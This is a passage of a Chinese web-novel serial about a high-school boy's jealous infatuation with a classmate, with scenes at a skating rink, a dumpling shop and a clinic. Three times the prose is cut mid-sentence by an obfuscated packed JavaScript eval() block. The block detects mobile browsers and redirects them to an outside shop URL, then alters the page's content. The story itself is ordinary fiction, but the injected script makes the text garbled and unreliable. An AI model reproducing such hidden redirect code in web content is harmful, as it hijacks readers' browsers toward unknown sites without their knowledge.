他偏过头看了眼远处还在专心玩着的段予真,伸手猛地攥住男人的衣领,几乎将对方悬空提起,压低声音咬着牙警告:“对,他是我老婆。要是识相,就立马把你拍的东西都删掉,否则我不介意带你去趟派出所。” 从男人的表情可以看出他很不甘心,嘴里嘀咕着“你说是就是啊”,但陆岳之瞪着眼睛凶神恶煞的样子,看起来也着实不好招惹。最后他还是在陆岳之的监督下,把偷拍段予真的照片、视频,全部都从手机里删除干净了。 “你在跟谁说话啊。遇到熟人了?”段予真不知何时滑了过来,站在陆岳之身边,好奇地看着那个已经灰溜溜转身离开的男人。 陆岳之肉眼可见的僵硬,摇了摇头,跟运动过后微微喘.息的段予真对视着,突然舔了下干燥的嘴皮:“你……渴不渴,我出去买瓶水。” “是有点渴,肚子也饿了。”段予真低头摸摸小腹:“我准备吃完饭再回家,你着急的话可以先走。” “不着急。”陆岳之接话接得很快:“那你再玩会儿,我去买水。等你玩够了一起去吃饭。” 段予真以为按他抠门的作风,应该不会舍得在外面吃饭,可能还是为了履行跟班的义务才这么说,于是告诉他:“陆岳之,你真不用给我当跟班。那个赌注就到此为止吧,结束了。” 陆岳之的视线落在冰面上,沉默了数秒,声线紧绷地问:“那我们现在算朋友吗。” 他低头逃避着那个可能会刺伤自己的答案。 “当然可以算。”段予真语气随意,伸手拍了拍他的肩膀:“放松一点啦,很多东西没你想的那么严肃。” 这不是严肃。陆岳之终于抬眼看他,心想,这是郑重。是因为珍视,所以态度必须郑重。 陆岳之吐了口气,缓缓地说:“你想喝什么,我去买。” “纯净水。最好是热的。”段予真从裤兜里拿出储物柜钥匙递给他:“我钱包在外套的左边口袋里。” “不用,我有钱。”陆岳之没接:“两分钟我就回来了,你别滑太远。” 段予真愣了下,随即说“好”,又提醒:“买你平时喝的牌子就ok。” 很快陆岳之拿着水再次出现在场边,段予真这时也有点倦了,直接离开场地,脱下了装备。 他坐在长椅上,接过陆岳之递来的温热的纯净水,发现还是自己常喝的那种,无奈道:“你怎么不听劝啊。” “水质不太一样吧。怕你喝不惯。”陆岳之看着段予真张开唇缝,露出一点整齐的白牙,随后将瓶口下缘抵在唇间慢慢地喝着。 他纤瘦的脖颈伴随吞咽的动作出现了不太明显的滑动起伏,喝了几口,脑袋便有点不自觉地主动朝手里的水瓶抵近,眉心微蹙,视线盯着瓶身很是专注。 因为太热,段予真的脸覆了一层亮晶晶的薄汗,凌乱的发丝黏在额头和脸侧,让肤色显得越发白嫩,嘴唇也比平常更红润些,仿佛娇艳欲滴的莓果。 陆岳之忙转移开注意力,看到段予真的鞋带还散开着,便俯身半蹲在他面前,帮忙系鞋带。 一口气喝了小半瓶,段予真停下来,意犹未尽地低低叹了口气。他抿抿湿润的嘴唇,垂眼瞥着陆岳之的头顶,将腿往后收了收:“干嘛,都说了不要再把自己当成跟班。” “严烈不是你的朋友吗?” “是呀。” “他平时不是这样跟你相处吗?” “……是啊。”段予真无奈。 话是这么说,可他平常对待严烈跟训狗似的,本来就算不上平等。而严烈对自己的认知也跟狗差不多了,见到看不顺眼的人就狂叫,被他训斥了就立刻夹着尾巴讨好。 听起来是很怪异,但这是他们俩通过多年磨合,逐渐摸索出来的最合适最舒服的相处模式,跟陆岳之这个外人又解释不清。 陆岳之握住段予真的小腿,将他的右脚又拉回面前,继续系着鞋带。 段予真穿着双经典款的白色球鞋。鞋子本身设计略显笨重,但段予真的腿又长又直,搭配着略微垂坠的校服裤,硬是穿出了清爽干净的少年感。 “这鞋我也有一双,不过是盗版。”陆岳之低声说。 几十块买来的地摊货,自然是盗版。 段予真没搞懂他突然说这句话是出于什么理由,便回应:“我送你双正的?” “不是这个意思。”陆岳之抬头仰视着他,呼吸停顿了下,后面的话没有再说。 他只是想到,有天如果碰巧和段予真穿着一样的鞋子,再加上同款校服,那他们算不算是穿了情侣装。 段予真并不知道他脑子里在想什么,看到鞋带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16971460|193459||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经系好,便准备站起身,可陆岳之还蹲在他面前。 段予真下意识地伸手,轻轻拍了两下陆岳之的脸:“还不起来?” 陆岳之没防备,被拍得偏了偏头,直接愣住了。段予真自己也回过神:“哎呀,把你当成严烈了。” 都怪陆岳之刚才突然把话拐到严烈身上,他才一时忘了场合,把对付严烈那套用在了陆岳之身上。 段予真没有用力,但拍脸这个动作本身的侮辱性质就已经够严重了。更何况陆岳之这人还性格多疑,一点就炸。 然而,陆岳之的反应竟然比段予真想象中平静:“没事。” 他起身退开。 走出溜冰场,陆岳之落了半步跟在段予真身后。段予真能够感觉到他一直在目不转睛盯着自己,回头看时,陆岳之却又是板着脸,专心看路的自然状态。 “我有点纠结该吃什么,你有推荐吗。”段予真刷着网上的帖子。 陆岳之说:“我家附近有个菜市场,最里面的那家饺子馆还不错。” “菜市场?我好像去过。”段予真想起来之前跟沈群一起去买过菜:“入口是不是有间卖梅花糕的店,生意特别火爆。” “对。”陆岳之还没问出口,就意识到段予真是和谁一起去了菜市场,再次沉默。 他绕了很多弯,浪费很多时间,才真正靠近到段予真身边。而沈群最开始就走的是直线,自然进度飞快。 陆岳之突然想到那天的大雪里,沈群痛苦地说,可以帮他追段予真。他当时以为这家伙疯了。 但细想的话,没准沈群是真的因为腿疾感到自卑,心理压力太重,认为自己配不上段予真,所以想让他带给段予真幸福。 为什么是他? 陆岳之猜测,可能在一众喜欢段予真的人里,沈群认为他的性格最踏实可靠;也可能是同为底层,心里想着什么都大差不差,沈群知道跟他说这个主意,他的接受度会比较高。 此时段予真就在旁边慢慢走着,左手垂落在身侧,轻轻地晃动,好像他一伸手就能牵到。 陆岳之的思维乱作一团。他很难不对沈群说的那些话动心。 “怎么这些推荐帖不是烤肉就是火锅,好没劲。”段予真看那些高饱和度的精修图片看得腻烦,撅着嘴唇:“干脆我们就去吃饺子好了。” “除了饺子还有家常菜。”陆岳之看着迎面走来的路人,将段予真往身前拉了下,免得他被撞到。 段予真饿得人都懒了,也没再挪动,依偎在他手臂旁继续往前走:“是吗,有什么好吃的菜呀。” “菜单很长,去了再看吧。”陆岳之低头看着段予真:“很累吗?要不要叫辆车。” 这会儿路上已经不怎么堵了。 “你今天怎么这么大方。”段予真不得不开始怀疑:“你真的是陆岳之吗?没有戴人皮面具,没有被外星人做寄生实验,没有偷偷做好事然后沾上了吉利的东西?” “什么叫吉利的东西。” “财神爷啊。” 陆岳之清清嗓子,纠正段予真的认知:“我只是习惯了节俭,不是花不起这些钱。” 他叫了辆车,把仍然一脸狐疑的段予真塞进后座,自己也跟着坐在旁边。 25. 25 出租车里的味道太闷,段予真非常闻不惯,全程皱着眉低头捂住脸忍耐。 陆岳之拧开纯净水给他递过去,段予真也摇头不想喝。车里本来就闷热,再喝热水,他会觉得更难受。 好在路不算远,十来分钟就到了菜市场外面。两人下车,穿过市场找到了饺子馆。 这家店就在居民楼下,店面很小,装修简陋,卫生也不算特别干净。陆岳之每回跟父母来吃饭也没觉得脏,但今天却注意到了墙角处的蜘蛛网,以及吊扇上厚厚的灰尘污垢。 他开始后悔了。再怎么样,也不该让段予真在这种地方吃饭。 段予真平静地走进店里,找了张空桌子落座,拿起油腻的菜单,问走过来的老板:“姐,有推荐吗?” 老板笑着自夸:“我们家每道菜都是招牌!” 段予真也笑了,抬眼看看陆岳之:“怎么还站着。” 陆岳之坐在他对面:“荠菜猪肉水饺还行,地三鲜和糖醋里脊也不错。你再看看想吃什么。” “有没有蔬菜啊。”段予真目光在菜单上扫视。 “地三鲜不就是蔬菜?”陆岳之逗他。 段予真敷衍地冲他扯扯嘴角,又点了个蒜蓉生菜,不加蒜。 端过来的茶水倒在一次性塑料杯里,飘着沉沉浮浮的茶叶碎末。段予真尝了一小口,呸了半天才把嘴里的碎渣都吐干净。 等待上菜的间隙,段予真终于开始认真打量自己所处的环境。陆岳之顿时紧张起来,从盒子里抽出一叠粗糙的纸巾,用力擦拭着泛出油光的桌面。 “你说在这里开店赚钱吗?”段予真捧着脸小声问。 “不清楚。”陆岳之说:“但应该是没亏,这店开了很多年了。” 老板给邻桌的客人拿酒水,从他们旁边经过。段予真又自来熟地和她寒暄:“姐,你这店位置选得真好,每天外面都人来人往的。” “就是个夫妻小店,薄利多销,做的都是邻里买卖,保个本而已。”老板笑着回应,接了句:“你们俩是西屏的学生吧?以后可都了不得,都是国家栋梁!哎,这小伙子倒是看着眼熟。” 她看向陆岳之。 “长得帅吧?”段予真笑得直抖:“是不是觉得很像电视里看过的明星。” “段予真。”陆岳之何曾被人这样调侃过,一时窘迫得耳朵都烧热了,脑袋更是沸腾得快冒烟。 老板笑着应了句:“哦,是有点。” 她的视线又回到段予真脸上,几乎看得发愣了。其实,要让她真心实意地点评的话,陆岳之的长相虽然端正帅气,但她活了几十年,这类帅小伙并不少见,只能说在高中生的群体里还算突出。 而段予真的模样和气场,才真像是她记忆中旧时那些风华绝代的影星。 尤其那双顾盼神飞的凤眼,美得都叫人不敢长时间去对视,只怕会沉醉其中,心荡神怡。 热气腾腾的水饺端上了桌,满当当的两大盘,恨不得堆砌成山。陆岳之不由抬头看了眼老板。 他记得店里的大份水饺并不是这个量,眼前这两盘,至少比正常份量多出了三分之一。 谁料这还没完,老板又笑吟吟地送来一碟凉拌紫甘蓝和一碟糖霜花生:“送俩小菜,你们先吃着。” “谢谢姐。”段予真看着她,真诚地说:“祝姐姐姐夫财源广进,生意越做越红火。” 老板简直被他哄得喜笑颜开:“哎哟,你这孩子真是!饺子凉了跟姐说啊,给你盛热乎的。这几个菜够吃不?我让你姐夫再给拌个猪耳丝去。” 段予真忙说:“不用了,就这些我们俩都吃不完。姐你去忙吧,那边还有客人等着呢。” 等老板走了,他才转过头,看向一直盯着自己的陆岳之:“干嘛,我脸上有字啊?” 陆岳之烦闷地转眼看着桌面。 其实他觉得是有的——段予真刚才跟老板说话时那副样子,简直是把“狐狸精”三个字给写在了额头上。 青涩的初出茅庐的小狐狸,应对年轻男人的功力还不太深厚,最擅长的就是甜言蜜语,讨长辈欢心。 他看得牙痒痒,心也痒痒,想把段予真抓过来,抱在腿上好好地揉搓一番。 段予真拿了个空碗,把自己盘里的饺子拨出去几只,然后将盘子直接推到陆岳之手边:“太多了我吃不了,你解决吧。” “不是说饿?”陆岳之看着他碗里的饺子,刚埋住碗底,还不够自己两口的量。 “就算再饿,我胃口也只有这么大呀。”段予真咬下半只饺子,慢慢地嚼完,咽下去,抬眼看向陆岳之:“又觉得我拿你当垃圾桶?” “没有。”陆岳之说:“你还是长身体的年纪,不好好吃饭容易营养不良,影响发育。” 段予真烦躁道:“你说话口气怎么跟我舅一个样……闭嘴。” 安静地吃了会儿,菜也都上齐了。地三鲜和糖醋里脊段予真只尝了两口,清炒的生菜倒是吃掉大半。 “这菜烧得很有水平哎,脆甜,咸淡也正合适。”段予真吃得很满意。 陆岳之闷头吃饭,把剩下的菜和饺子都解决掉了。段予真看他开始擦嘴,就起身要去结账。 陆岳之抢先站起来:“我请。” “aa吧。”段予真懒得因为一点钱跟他掰扯。 “你吃了四分之一,我吃了四分之三。你跟我aa?”陆岳之说着,已经动作迅速地从兜里掏出了钱,放在收银台上。 当着老板的面,段予真没说什么,等找完零,对她笑了笑:“姐,我们先走了,辛苦你收拾桌子。” “好,有空常来啊!”老板把他们送出门外。 段予真和陆岳之并肩往外走,路上没什么灯光,黑黢黢的,踩着雪深一脚浅一脚。 “你的车快到了吗?”陆岳之问。 吃饭时他听到段予真给司机发语音了。 “已经在等着了。”段予真呼出一口雾气,稍微偏过头,轻轻地问:“陆岳之,你是真心和我交朋友吗。” “怎么了。”陆岳之察觉他语气不对。段予真说:“你真把我当朋友就不要再和我纠结钱的事。你眼下过得困难,又不代表会一直都困难,我帮你也不是想让你跟我讲究这点小公平,我希望的是你凭着你的志气你的本事,未来有天能做出真正的事业。” “目光放长远一些,好吗?这些东西我想你不是不懂。” 陆岳之没说话。 “我不是想给你压力。但说实话,我觉得你这个人,是一定要有压力才能做得更好的类型。”段予真继续缓缓地说着: “如果能对你有帮助,你可以在心里继续认为,我现在做的一切都是施舍你瞧不起你。陆岳之,把我当成必须打倒的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16971461|193459||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敌人,当成你总有一天要超越的目标吧。” “只能这样吗。”陆岳之模糊的声音里压抑着苦涩。 段予真的眼睛看着他,平静如月光下的湖面。陆岳之想从里面看出一丝动容,一丝理性之外的东西。但是没有。 只能这样吗? 在段予真的设想中,他们注定只是关系平淡的朋友,不管现在还是未来。 段予真鼓励他的语气如此平稳,冷静,包容。 ……把你当成报复的目标,望着远在天边的你,咬紧牙关,日复一日地淬炼空虚的憎恨,以此作为向上爬的驱动力。 而不是站在你身边,牵着你的手看你倒在怀里撒娇任性。 好冰冷。 陆岳之忽然感觉到有一粒雪花落在了脸上。 “予真。” 段予真抬头看去。 不知不觉,他和陆岳之已经走到了菜市场入口处。前方不远的路灯下,沈群背光站着,整张脸都覆盖在阴影中,双眼直勾勾盯着他们俩,嘴角还挂了点笑:“你们……一起出来玩啊。” 陆岳之看着段予真的眼角眉梢在短短几秒之间染上了春意,看着他朝沈群大步走过去,语气责怪:“你不是说今天都在姑姑家吗?” “她临时有事,我就回来了。”沈群自然地牵住段予真的右手,用力握了握:“这么冷。出门怎么没戴手套。” “在兜里呢,我懒得拿出来。”段予真眼睛望着他:“我跟陆岳之滑冰去了,滑完特别饿,就找了个地方吃饭。” 沈群幽暗的目光几乎是黏在段予真脸上来回扫动,从额头细细地扫到耳朵,确认了没有任何暧昧的痕迹之后,他才真正露出平时那种温和的笑:“玩得开心吗?” “冰场面积有点小,不是很过瘾。”段予真提议:“等天气暖和起来,你的腿没现在这么难受了,我们可以去更大的冰场。我教你,绝对不会让你摔倒。” “好。”沈群伸手拂去段予真头发上的雪花:“刚才我看到你们家的车了。你要回家了是不是?” 段予真点点头。沈群张开手臂,和他做临别前的拥抱。 段予真的胳膊刚抬起来,整个人就被沈群结结实实地抱在了怀里。他能感觉到对方的手掌按在自己背后胡乱抚摸着,和平时友好、克制的力度不太一样,双臂竟像是蛇一般勒紧了。 沈群的呼吸声有些乱,冰凉的鼻梁抵在段予真脸侧轻轻磨蹭。段予真听到他在耳边请求:“小真,再过两天我就回学校了。你不要急着去找别人,好吗?” “那你要快一点,努力痊愈。”段予真闷闷地说:“我的朋友太多了,每个人都想邀请我出去玩。我可不会等很久。” “我知道。”沈群在段予真耳垂亲了下:“你是最受欢迎的小咩公主。” 段予真早就把还站在几米外的陆岳之给忘了,埋头在沈群胸膛前,声音越来越轻,呢喃着,委屈地倾诉:“我想你。” 沈群暗暗咬牙,稍微俯身将段予真抱了起来,送到车边。司机已经打开了门。 他哄着段予真上车离开。分别前,陆岳之看到段予真伸手揪着沈群的袖子,示意对方俯身靠近,而后仰起脸,如献祭一般在男生腮边落下轻吻。那副痴态看得他呆若木鸡,心口堵得厉害,满脑子都是为什么凭什么。 此时此刻他对沈群的嫉恨达到了顶峰。 26. 26 送走了段予真之后,沈群脸上温和的面具一瞬间就破裂开,暴露出底下扭曲狰狞的丑陋底色。 他睁大眼睛,一步一步朝陆岳之走近:“耍手段想挖墙脚啊?陆岳之,你是不是觉得自己很聪明,很厉害?” “我和段予真现在是朋友关系,没做任何出格的事。难道他的正常交际你也要干涉吗。”陆岳之的拳头在颤抖。 但沈群根本就听不进他在说什么。距离陆岳之还有一米多远的时候,他突然猛地扑过来,一拳砸在陆岳之眼眶边,把后者撞倒:“小真喜欢的人是我明白吗?只要我不让位,你们这些废物永远都别想碰到他一根手指头!” 陆岳之毫无防备,手肘重重地撞在地面,后脑勺也因为猛烈的撞击传来一阵阵沉闷的眩晕。他抬脚狠狠将沈群踹开,撑着地面爬起来,恼火地提醒:“你算什么东西!别忘了,你自己也知道你配不上他。” 沈群坐在雪地里喘着粗气,手指逐渐抓紧了手掌下按着的雪堆,直到冻得失去知觉。他伸手抓住自己的脸,用力到指甲都要挖进皮肤,睁大的眼珠爆出密布的红血丝。 他当然知道。他已经决定好,要让陆岳之逐渐成为自己的替代品,在段予真身边继续守护下去。 但亲眼看到两个人肩并肩朝他走过来的时候,他突然什么都忘了,一下子被强烈的愤恨冲昏了头脑。 他享受着段予真泛滥的同情,又恐惧于段予真会突然厌倦他的无能,转而去到另一个正常人的身边。 他好后悔啊,不想死,想一直活着,哪怕要拖着一具残缺不全的身体。特别是在医院做化疗,没能到学校上课的这些天,他每时每刻脑子里都想着段予真在做什么。 有没有和别人走得很近,一起做和他做过的事,说对他说过的话。有没有不乖,受了委屈偷偷掉眼泪。有没有想他。 医生告诉他,现在做化疗,极大概率只能起到心理安慰的作用,但沈群坚持要做。今天他发现自己开始掉头发了,正惊慌失措的时候,接到段予真的电话说想去看他。 他也很想见面,但是看着手里脱落的头发,他不敢。 可就算是躲着不见,又能躲几天? 见面他怕吓到段予真,不见面,那他活着的意义是什么。 对,对,他没有时间再自怨自艾了,要做的事还有很多。 沈群的神态此时状若癫狂,发出来的声音沙哑而古怪: “那你就配得上?陆岳之,你不会以为可以跟小真日久生情吧……告诉你个残酷的事实,他身边喜欢他的人一抓一大把,每个人都比你陪得更长久。即使哪天要从朋友里挑选,他也没可能选你。你现在做的尝试只不过是原地打转,小真身边已经有严烈了,不需要第二条搞不懂他心思的走狗。” “你唯一的优势就是我的帮助。小真青睐什么样的人,有什么喜好,这些答案我都可以告诉你。我还可以给你更多和他接触的机会,让你走到他身边。” “我不信。”陆岳之的手肘和脑袋还在隐隐作痛。刚才沈群疯魔一般的表现,已经让他心底滋生出的那点半信半疑尽数消散。 沈群对段予真的执念太深了,所以,他怎么可能会舍得放手,甚至荒唐地去帮助情敌上位? 沈群从陆岳之脸上的表情看出了猜疑,嘴唇动了动,吐出平地惊雷般的一段话:“不信算了。我得了癌症已经是晚期,我的位置很快会空出来。你不抓紧时间,那就等着继续看小真和别人在一起吧。” 他艰难地站起来,转身往家里走,行走时姿势笨重,手一直用力按在剧痛的右腿上。 夜空中无数的雪花仍在不断飘飞,陆岳之陷入恍惚,眼前闪过了许多画面。 坐在车里,依恋地伸出手臂挽留男生,主动献上虔诚亲吻的段予真。氤氲着热气的室内,眉飞色舞地和第一次见面的中年女人寒暄的段予真。 眼神平静如湖水,走在他身边不苟言笑的段予真。 不甘的欲念一点一点破土而出。 “等等。” 陆岳之闭上眼,听到自己的牙齿咬得咯吱作响:“你的条件是什么。” * 眼看着就到了学期末,离寒假越来越近,班里的氛围也越发有种按捺不住的浮躁。 每天都能听到有人抓耳挠腮地到处问:“离放假还有几天来着?” “大半个月呢,别急。” “就剩不到两周了……” “最后三天,倒计时正式开始!” “——放假喽!” 期末考试结束,这个学期也以最后的一节班会课画上了句号。 考试这两天段予真没留意着凉了,身体有点不舒服。开班会的时候,他一直单手扶额闭着眼睛犯困,整个人都恹恹的,很没精神。 陆岳之也没心思听班主任讲话,时不时扭头往后看一眼,留意着段予真的情况。 慢慢地,段予真将手臂交叠,很疲倦地埋头枕在了上面。 朱钰担心地伸手去摸他的额头:“有点烫啊。你不会发烧了吧?” 段予真侧过头躲开她的手,又强撑着坐起来,往旁边挪了挪:“别靠我太近,有可能会传染。” 坚持到班会结束,段予真拎起书包往外走。在教室门口,他被急急忙忙跑出去的同学不小心碰了下,身体便失去平衡,轻飘飘地朝旁边的窗户撞了过去。 眼看就要撞上,一只手及时地垫在了他身后。 段予真没有去看伸手护住自己的陆岳之,还往后退了退。他说话时鼻音很重,又隔着口罩,更显得模糊:“感冒了。离我远点。” “只是感冒?”陆岳之将手背贴向他的额头。 段予真躲了下,但因为生病,反应也变得迟钝,没躲开。他表情更不高兴了,抬起沉重的眼皮,不满地看着面前这个听不懂人话的家伙。 陆岳之脸色难看:“你别走着走着突然晕倒,从楼梯上一路滚下去。” 他伸手抓住了段予真的袖口。因为生病畏寒,段予真将两只手缩在了袖子里。 陆岳之拿过段予真的书包,牵着他的袖子带他往前走。 “干嘛,等会儿吐你身上。”段予真很讨厌生病时身体变得软弱无力的感觉,晃动胳膊挣扎了下,陆岳之牵得更紧:“衣服脏了又不是不能洗。” 段予真被他拉着朝楼梯口走去。中途经过三班,戴了顶鸭舌帽的沈群也正从门口出来,抬眼就看到他:“小真?” “他感冒了,现在很难受。”陆岳之不想段予真的嗓子再受累,抢在前面回应了句。 三个人站定在走廊里,气氛略显怪异。 沈群走近了些,看着段予真酡红的脸,担忧道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16971462|193459||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “是不是在发烧?” 段予真嘀咕:“或许吧。” 他离陆岳之太近了,呼吸间都是对方身上的洗衣粉味。不知道什么时候味道变了,不再是以前的薰衣草而是更清爽的皂香。 想不到来源,但莫名有些熟悉。段予真依恋地凑近了些,额头抵着陆岳之的肩膀。 沈群的手伸了过来。陆岳之稍微侧身将段予真挡着,截住了他的动作。 “沈群同学,你的病也才痊愈没多久。”陆岳之说:“万一又被传染,你家里人责怪段予真就不好了。” 段予真现在听到耳朵里的声音都朦朦胧胧的,还伴随着嘈杂的噪音。他闭上眼睛,忍耐着肌肉一阵阵的酸痛。 “也是。”沈群望着段予真疲惫地倚靠在陆岳之身上的样子,如梦初醒般往后退开,声音隐隐发抖:“也是,那麻烦你了。” 陆岳之抬手搂住段予真的身体。 他搂着段予真离开教学楼,坐进了一辆路边候客的出租车。 去往诊所的路上,段予真的手机很快就开始响个不停。陆岳之拿出来看,屏幕上的备注是“李叔”。 他本想接通,但没弄懂操作,不小心给挂断了。 那边安静下来,没有再尝试拨打。 等到了诊所,段予真接受完诊断,挂上吊瓶,电话铃声又一次响起。 段予真枕在陆岳之肩上被吵得心烦,闭着眼迷迷糊糊地催促:“接电话呀……你在外面欠钱了?” “这是你的电话。”陆岳之失笑,也没再看是谁,滑了接听键就递到段予真耳边。 他和段予真挨得很近,屏幕里传出的声音两个人同步听着。那是道低沉的男声,不同于青春期男孩故作成熟的低音炮,音色是自然而然的厚重:“到哪去了?” “唉,是你啊老头。”段予真听到这声音更心烦了,胡说八道地搪塞:“还能到哪,我在家呆着呢。” 徐亦霆沉默数秒,回道:“我现在就坐在你家客厅,你在哪。” 段予真睁开眼睛:“回来怎么也不提前告诉我?” “先告诉舅舅你在哪。”徐亦霆的语气严厉了些。 段予真转了转脑袋打量周围的环境:“我病了!在医……一个地方打吊瓶呢,本来就够难受了你还对我这么凶。你听我的声音都成什么样了,咳、咳咳……” “对不起。”徐亦霆态度软化:“是哪家医院,舅舅去接小咩好吗?” 段予真没敢告诉他,自己呆的地方好像不是正规医院:“不用来了,我朋友在这里。” “是我不能见的朋友吗。”徐亦霆问。 段予真看了眼陆岳之:“也不是不能见。” 清清白白的普通朋友而已。 徐亦霆说:“有舅舅在就不要麻烦别人。地址发给我。” 段予真悄悄把手机挪开,轻声问陆岳之:“这里是正规医疗机构吗?” “……当然。”陆岳之被他问得都有点不知道怎么回答了。 段予真这才问了地址,给徐亦霆报过去。 “我们家臭毛病最多的老头要来了。”挂断电话,段予真对陆岳之苦笑:“等会儿如果有什么冒犯的地方,你多包容。” 相比起他口中即将出现的神秘老头,陆岳之更感兴趣的还是另一件事:“你的乳名叫小咩?” 27.27 “对啊,怎么了。” 段予真的脸好像突然间更红了,提前警告:“你不准这样叫我。” 这个乳名据说是源于段予真曾经最喜欢的小羊玩偶。婴儿时的他,只要醒着就会抱住那只小羊不肯放手,到了口欲期更是整天把玩偶咬在嘴里啃来啃去。 在观看人生中第一部启蒙动画的时候,段予真也对里面的某个绵羊角色有着独特的钟爱。虽然那是个坏坏的反派,但只要它出场,还不会说话的段予真就会兴奋地笑着拍手欢迎。 他实在太喜欢羊了,乳名叫做小咩,好像也理所当然。 其实,这些久远的东西,段予真早已记不清。是中学时的他问起为什么要给自己起一个肉麻过头的乳名时,徐亦霆一本正经地给出了以上的解释。 段予真怀疑过舅舅是不是在信口胡编。因为他压根就不记得自己有过什么绵羊玩偶,而且徐亦霆每天都忙得脚不沾地,怎么还会有空记着那么久之前,一点无关紧要的小事情? “小咩。”陆岳之挑衅地故意叫了一声。 段予真对他怒目而视,但手背此时还扎着针,不方便做出大动作。他吸了口气缓和好情绪,用空着的右手在陆岳之手臂狠狠拧了一把:“陆——岳——之——” 陆岳之被他拧得表情扭曲,愤懑道:“严烈叫你公主殿下我叫不得,你舅舅叫你小咩,我也叫不得?” “对。” “那你凭什么给我起绰号,动不动叫我大木头。”陆岳之质问。 段予真思考了下:“我严以律人,宽以待己。” 陆岳之板着脸扯起袖子。他肌肉结实的手臂上青筋交错,被段予真拧过的地方竟只是微微泛红。 “以后我不用那个绰号叫你了。”段予真看着他被拧红的皮肤,多少也有点歉意。 不想沉默片刻后陆岳之却说:“没事,你叫吧。” “这么大度?”段予真眯眼打量着他,语气刻薄:“别以为这样我就会允许你也给我起绰号,你还是只能叫我的全名知道吗。” 陆岳之嗯了声,又说:“你的手一点力气都没有。看起来使了很大的劲,结果不疼不痒。” “能不能少说点欠揍的话。”段予真被他逗乐了:“说得好像你还想被我再拧一下。” 他忽然有种预感,看向诊所茶色的玻璃门外。一辆熟悉的黑色suv在街对面的空车位平稳停下。 徐亦霆抓着外套下车,第一秒就捕捉到段予真投去的视线,抬眼看了过来。 他左右望了望,走向几十米外路口处的斑马线,又耐心等到绿灯亮起,这才穿过马路来到诊所外。 进门之前徐亦霆抬头看了眼上面破旧的招牌,嘴角抽动,将情绪压抑两三秒才发出询问:“这是医院?” “能治病不就够了。”段予真仰头望着他,感慨:“老头,你自己挑的香水永远都是这么没品位。” “没大没小。”徐亦霆在外人面前还是要顾忌长辈威严,虎着脸坐在段予真另一侧,对陆岳之点点头,不冷不热打了个招呼:“你好,我是段予真的舅舅。” 陆岳之也拘谨许多,规矩地坐着,手不敢再放在段予真身后,默默收回:“您好。我叫陆岳之。” 他听段予真张嘴就是“老头”“老头”的,便猜测徐亦霆大概是个精神矍铄、两鬓斑白的慈祥形象,没想到外形竟然很年轻,至多三十岁上下,体格健壮,散发着不怒自威的强势气场。 有长辈在旁边盯着,段予真反而更加懒散了,没骨头似的歪靠在座椅里,抬起右腿搭在徐亦霆身上:“约好的时间不是春节吗,怎么提前回来了。” “给你一个惊吓。”徐亦霆淡淡道。 段予真哼哼唧唧地骂了句:“邪恶的臭老头。” 他想撒娇的时候才不看场合,那股粘掉牙的腻歪劲儿,换了谁也顶不住。 陆岳之别过头看着外面的马路,注意力却全放在耳朵上,听段予真继续像只小绵羊一样朝徐亦霆咩咩叫:“你就空着手来看我啊,连杯饮料都不知道带。我快渴死了。” “我去买水。”陆岳之说着要站起来,徐亦霆轻轻挪开段予真的脚:“我去吧。” “嗓子疼,我还要吃冰淇淋。”段予真追加了一条指令。 徐亦霆走后过了会儿,陆岳之才又扭头看向段予真:“你舅舅自己没孩子吗。” “没有,他恋爱都没谈过。绝望老处男。”段予真抬头看了看输液瓶:“问这个干嘛。” “他跟你相处的态度,不太像一般的长辈。” “我们家气氛就这样啊,很随和。我爸是老狐狸,我妈是女王大人,我哥是大猩猩,我嫂子是段家之主。我舅是废铜烂铁单身汉。人类群星闪耀时,懂吗?”段予真满不在乎:“他在外面已经够装了。” “你是公主殿下。”陆岳之好笑地说。 “陆岳之你非要趁我生病跟我耍贱是不是……”段予真的手已经伸出来准备再掐他一下,徐亦霆回来了。 他拿着最大号的纸桶,里面堆满了各色冰淇淋球。 “老头。”段予真对他的行事风格早有预料,可惜刚才忘了提醒一句少买点。 徐亦霆递了瓶纯净水给陆岳之,回到段予真身侧坐着,将勺子拿给他,手里捧着冰淇淋桶充当人形托盘:“吃吧。” “你又把店里有的全买了一遍。”段予真蹙眉:“店员没劝你吗?” “店员向我推荐了几种热销口味,但从微表情来看,他对自己的发言很犹豫,缺少足够的信心。所以我并没有采纳。” 段予真好想叹气,但吃着美味的冰淇淋,想想还是算了。 不知不觉打完了两个吊瓶,段予真体温下降,精神也恢复许多。他把书包和没吃完的冰淇淋都扔给徐亦霆,站起来伸了个懒腰,舒展筋骨。 “我先走了。”陆岳之提醒:“段予真,别忘记下周三去学校拿成绩单。” 